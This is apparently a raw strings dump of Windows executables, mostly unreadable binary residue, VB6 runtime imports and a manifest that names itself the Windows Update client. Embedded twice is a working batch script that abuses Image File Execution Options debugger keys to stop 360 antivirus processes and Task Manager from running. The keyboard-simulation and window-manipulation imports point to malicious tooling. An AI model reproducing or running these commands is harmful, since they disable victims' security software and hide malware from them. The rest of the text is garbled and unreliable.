D@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDO@@@@@DDD
DDDDDD
DDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDO@@@@DDDD
DDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDO@@DDDDDD
DDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDHwxDDDDDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDH
xDDDDDDDODDDDDDDD
DDDDDDD
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDHDDDDDDODDDDDD@@
DDDDDD
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDD
tDDDDDODDDD@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDODDDDDODD@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDD
wtDDDDO@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDwt
DDDDODD@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDGODDDDODDDDD@@@
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDHGHtDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDD
ttDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDwtDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDGwxDGDDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDtxDDDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDxDDDDDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDOGDDDDDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDHDDDDDDDDDODDDDDDDD
DDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD
txDDDDDDDDDDDDO@@@@@@DD
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDOtDDDDDDDDDDDDDDO@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDO@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDO@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDO@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDO@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
DDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDHwxDDDDDDD
DDDDDDDH
xDDDDD
DDDDDDHDDDD
DDDDDD
DDDDDODDD
DDDDDwt
DDDDDGODD
HGHtDD
DwtDDD
DGwxDGDDDD
DDDtxDDDDD
DDxDDDDDDD
DDOGDDDDDDD
DDHDDDDDDD
txDDDDDDDDDD
DDDOtDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDD
BABBABBABBABBABBABBABBABBABBAB
BABBABBABBABBABBABBABBABBABBAB
BABBABBABBABBABBABBABBABBABBAB
4745CF14A670BD794C7455882DCB029C
524596221D393B285FEBFC4DFFDAB158
A628D77C4AD4D6B8983A40DAA4445148
0695F87FC681BC2EB4713225017D4794
AC1FAC1A50DAFD42187F5A19BE69D458
D7CF07C200854387ABB2BC5E05A41F0A
244C9CEFF24FB6D07465AE74337D8F75
E07A3963B191DF83AD277E4943DF10C8
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
9879B1117C2F52F3F44D9A9A81AC476E
BAB4B9471A485B863E6F2DD263109B26
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
@>@644DABDF7427DBCB5317BF9C3AD106B0
9E46593A54E783D154760E09CA432129
265D805C622814C438AB41C997B1F342
5B9046F5A51A0280AAE69D298B185C1F
5B9046F5A51A0280AAE69D298B185C1F
6C921CCC1F1BE20EB1FE4E289BECDA8F
EA7AE7F1CCFAE7411D9FD2AFB10748E0
B12683B7D289C0273C8FECA0106C151A
E060C7A391158F434D7E5893CC584935
8C43C187016C3F164ED08F14953574E2
DEA724912A1A2957BAAA853ACD5CE1F8
6C45EBA27D595DEDDA06D0259E4A7575
8EEF6C9EADDEE834EA8FDDB3D7BF2BE1
92F7F1673B73E4E6CF21DD079367604B
S3x;|-Su
@@f8\tPu
RPQ4|0E
MQVP,|\
MQVP0|L
MQVP(|<
MQVP$|,}
~&uuuh((
u<EPEPEPWh
f9}u 6q;|
EEEEEtp]
;tiV<f-t>f=t8
3CCf3f;uE
;tuPSP
V9u29u*9u"9u
3PPPu9S
if83F9t
gY^APu
tMVPWP;
_P\j3;
;|{VVPF
;|SV54
PS}lPSh
VPDSVP
EEPEPj
uuuuuu
VEP3CSh)
tBEPEPu
t-VEPSh`)
EPEPEPuu
Et)h()
VSVVVuVuh
3LSWWj&W
VWWEPu
SDz| 9}
VWWEPu
tx]EPS
EtUWEPj
uW33_9ut
tIE9EMu
9Mt9+Mj
UQQEPE
E3WEPSj(j
EPN[|:E
M+&u*3
t#f|E0r
f<C9v+W
f|E.u@
|EPf}y:
EPf}i:
EPf}X:
EPf}G:
EPf}6:
MWWWVh
UQQSV3E
u$Ku SW8
|U;wQu
48Mt?E
39M}z;thE
PVVVVSPjVV9tB
3OVV@PjVVVVVPP6
3j\E[f9
=f9u;f9u0SP5
;YYtm@@tif9
HH;wf8\u
VWZ|"E
;u?h .
S^0hP/
SF,39N
t+9N t&9N$t!9N(t
tU;uQ9=p
y;t99}t
9:twf9;tr
f;uFf98u
AAf9;uf99t
f9AAB;r
U,SVW3}
_t&3A}
uFE3;t=f
V3;EEx/
u;uIu(EPE
Wj&uV,
3PPPPPPuV
V t0EPEP
VW3V0EPVVj
9VMQPVj
lM XSEE$VW3G#
YYt"Eh/
jdYERh
EPVW_
pW(p9Tt
TW(9tt
|3WWW0hP.
dS4VWWSV
HDx98t
W(\PPu
t9HtJtP |.9tt&h/
u(hWp$
$VVhhVXl
ItRIt!PhH0
S3VWhx0
E]]]]]]E
EPWPUu
Eto6U;
uEPSSSSSSStEj
Et=uU;
Et06uUuU;]u
uU9]_^[t
UQQV3F}
VEE$Wu
E,WE3}
t0WEPuuu
EPj EPuUE;t
UQSV3Sh
WSot)33
SVW33;
Ys$t)u
3;|B9M
3;| 9M
Y3E_^[
VW33;Ex/
WWWWSP
8SMQPj
p|E hE$SV`E(W3G#
jdYERh
EPSWF|.39\
x4x9Xt
lp3VVV\h 1
QQjPP ;
|G9t?h/
cWWW`hCPh/
Ej<P3-Dj
|Px639E
Y+Q}QPu
Q=P9,j
teVQPh
~$~(~,}}
;uFF,EEPv(EPWh2
F,EEPv(EPWh3
;un3@9EufF$F(F
Mt@MQPEPWh
WWv(v,v
v,v(([EPh2
u9EPEPWWht3
WVS3D$
3;[E]u
`E;9]E
tjtf3}
Y3@39E
]EEOEEEUE0
EPEPS;
;tASSSP
KEEPEPS}3
MM8l<@
??3@YAXPAX@Z
??2@YAPAXI@Z
__CxxFrameHandler
_vsnwprintf
malloc
_CxxThrowException
_c_exit
_XcptFilter
_cexit
_acmdln
__getmainargs
_initterm
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
_except_handler3
msvcrt.dll
__dllonexit
_onexit
??1type_info@@UAE@XZ
_controlfp
?terminate@@YAXXZ
CloseHandle
ProcessIdToSessionId
GetCurrentProcessId
GetLastError
DeleteCriticalSection
FreeLibrary
UnregisterWaitEx
CreateEventW
ReleaseMutex
WaitForSingleObject
SetEvent
RegisterWaitForSingleObject
OpenEventW
CreateMutexW
LeaveCriticalSection
EnterCriticalSection
GetCurrentThreadId
GetTickCount
ExitProcess
SystemTimeToFileTime
GetLocalTime
lstrlenW
GetSystemDefaultLangID
CreateProcessW
GetSystemDirectoryW
GetProcAddress
InterlockedIncrement
InterlockedDecrement
WaitForMultipleObjects
CreateThread
TryEnterCriticalSection
CompareStringW
GetTimeFormatW
QueryPerformanceCounter
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
LocalFree
GetModuleHandleA
GetStartupInfoA
KERNEL32.dll
GetObjectW
CreateFontIndirectW
GetStockObject
DeleteObject
SelectObject
SetTextColor
SetBkMode
DeleteDC
StretchBlt
SetStretchBltMode
CreateCompatibleDC
SetBkColor
BitBlt
GetTextExtentPoint32W
CreateSolidBrush
TextOutW
GetCurrentObject
GDI32.dll
RegisterClassExW
LoadCursorW
PostMessageW
EndDialog
SendMessageW
LoadAcceleratorsW
LoadStringW
GetSystemMetrics
LoadImageW
KillTimer
DialogBoxParamW
SetFocus
SetActiveWindow
TrackPopupMenu
SetForegroundWindow
GetCursorPos
DefWindowProcW
SetWindowsHookExW
PostQuitMessage
DestroyWindow
DispatchMessageW
TranslateMessage
MsgWaitForMultipleObjectsEx
PeekMessageW
SetTimer
ShowWindow
CreateWindowExW
AppendMenuW
CreatePopupMenu
DestroyMenu
SetRectEmpty
DestroyCursor
InvalidateRect
CreateCursor
CallWindowProcW
PtInRect
ScreenToClient
SetCursor
SetCapture
FillRect
GetClientRect
GetParent
ReleaseCapture
GetCapture
GetFocus
DrawTextW
GetWindowLongW
DrawFocusRect
EnableWindow
GetDlgItem
ReleaseDC
MapWindowPoints
GetWindowRect
MessageBoxW
GetSysColorBrush
GetSysColor
GetDlgCtrlID
CallNextHookEx
TranslateAcceleratorW
EnableMenuItem
GetSystemMenu
SetWindowPos
EndPaint
BeginPaint
CreateDialogParamW
GetPropW
GetWindowTextW
GetWindowTextLengthW
SetWindowLongW
SetPropW
CheckDlgButton
CheckRadioButton
IsDlgButtonChecked
UpdateWindow
GetKeyState
DrawEdge
EqualRect
RemovePropW
OffsetRect
CopyRect
GetDesktopWindow
IsWindow
SetWindowTextW
USER32.dll
Shell_NotifyIconW
ShellExecuteW
SHELL32.dll
CoCreateInstance
CoUninitialize
CoInitializeEx
ole32.dll
OLEAUT32.dll
CreateURLMoniker
urlmon.dll
InitCommonControlsEx
COMCTL32.dll
WTSFreeMemory
WTSQuerySessionInformationW
WTSAPI32.dll
wcstoul
_wsplitpath
_vsnprintf
wcschr
wcslen
_wcsicmp
memmove
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
QueryServiceStatus
CloseServiceHandle
OpenServiceW
OpenSCManagerW
RegOpenKeyExW
RegSetValueExW
RegCreateKeyExW
RegQueryValueExW
RegOpenKeyW
AdjustTokenPrivileges
LookupPrivilegeValueW
OpenProcessToken
SetNamedSecurityInfoW
GetSecurityDescriptorDacl
GetSecurityDescriptorOwner
ConvertStringSecurityDescriptorToSecurityDescriptorW
ADVAPI32.dll
LoadLibraryA
GetCommandLineW
VerifyVersionInfoW
VerSetConditionMask
GetPrivateProfileStringW
GetFileAttributesW
lstrcmpiW
HeapFree
HeapAlloc
GetProcessHeap
GetSystemTime
SetFileAttributesW
CreateDirectoryW
DeleteFileW
FindClose
RemoveDirectoryW
FindNextFileW
FindFirstFileW
SetLastError
MultiByteToWideChar
lstrlenA
ReadFile
GetFileSize
CreateFileW
InitializeCriticalSection
GetModuleHandleW
GetVersionExW
LoadLibraryExW
lstrcpynW
CopyFileW
GetFileTime
MoveFileW
FileTimeToSystemTime
GetDateFormatW
WideCharToMultiByte
HeapReAlloc
InterlockedCompareExchange
GlobalAlloc
GlobalFree
SetFileTime
GetCurrentThread
CompareFileTime
WriteFile
CompareStringA
UnmapViewOfFile
MapViewOfFile
CreateFileMappingW
SetEndOfFile
SetFilePointer
FormatMessageW
CharNextW
CharUpperA
CharLowerA
SHGetFolderPathW
StrStrW
PathFindFileNameW
StrChrW
StrRChrW
PathIsRootW
PathIsUNCW
PathStripToRootW
PathIsRelativeW
StrToIntW
SHLWAPI.dll
ExtractFiles
ADVPACK.dll
VERSION.dll
WinVerifyTrust
WTHelperGetProvCertFromChain
WTHelperGetProvSignerFromChain
WTHelperProvDataFromStateData
WINTRUST.dll
CryptHashPublicKeyInfo
CertGetCertificateContextProperty
CRYPT32.dll
.?AV_com_error@@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="5.4.0.0"
processorArchitecture="x86"
name="Microsoft.Windows.windowsupdate.wuauclt"
type="win32"
<description>manifest file for wuauclt</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
</assembly>
Ld@dLF&LLLLLL
ddd"d@llLFFL"&LLLLLLd""
LLll"",LFF
lb""l&$plLLd"""Bbl@dllb""","&&@lLlb"""lnF"bb
"""nb""&&$
l""l""""bf
lwwr.""""&,
wnl"""b
~b""""&
wp;7"""&
***" ;
C0~" C~lb" LC2"#;z."
LC;3""""3
LA* zMDDDDA
LLF,LLLL
Lf",lLLL"&Lllb"""l
L"fB"f
Lwww&"""l
**& LC
`;0vn*&
;3;0znb
330v@LDBrADD
LBLL@"&
0$A:MD
NKQJJJJ==b
a`US<<<!<<5D?9
hp[5555Kr5555556
hiI5;:78XrX 18?;4556
11111H111
11087??G78111
118?CCCCBGC?7/12
118?CCBFMMMFBCC701 HrrN%2bZ
q`107CCBMLOOR]MFBCC829
q>0?CBMLORRVgROMFCC7XrrN9Z
q0?CFMORVU[UVRRLMBCrrGbZ
wd?CFMRRU[[[ccc[UUVnrX=Z
w`CFLRVU[[[cejeecc[g
w\BMRRU^``gxifffeklJZ
wBMRR^\]vumiifvvJZ
wFLRV_l
olvutmiffJZ
xttqifelXQZ
{ttqifKZ
|y{ttmiN
~~{tqifnZ
~~{tm^Z
<#'+-+'$
~{tqca
&+-+*&#
Hb~~tqivvT
!$*-,*&$
~~ttmfkh
!#',,+'$
~fegiT
!&+-+*&
zifc[vs
$*-,*&$
}qffc[g|
!!$',,+'$
mfec[my
<'+-+'&
ifccq|
!&+-,*&#
TT.*'()T
aZNKJJ==b
aj<65KK466
18>o3>1
/7CCBXGC71
w27CBLORFC?89
wC?BMRRVnROFCX
w?CORV^^k^[R
wCOR\_]je[l=Z
wMO_Xnkjj=Z
wFWovuifNZ
Pr}qiZ
!!&,*&
!$++&#
<#*,'#
!&,+&
!&+,'#
hhaLK=
Yd5K;5!5
Y1888/E
w7BLlBW%J
YL[evnK
R?8rN
k+k4j4mEe4d4[$M
k9c?c?gHeHc?c?d@jIoRqTqThEH
W"T(T(T(Y(c/W.T(T(T(T(T(Z1a<kLqTmLE
T(T(Y.gCoRa<%
O T(V+gCkL*
T(Z1eC*
S%Y/cI,
Y2cF^O
]%c@cFH
|c'c*c<cF.
xc%c*`9'
|c'c,?
VC7J!eD
`6tnFkjvhrfiZbRlToUU@:,
$a`:S,
[x|kvZ\EA1(
]5uPpo
`dKJ7/#}%
`6pIfuelRR=7)
0YRK@V,
O.Bj@]yzitXZD?/%
n{]aIF4, j*
`6qKirdiOO;4'
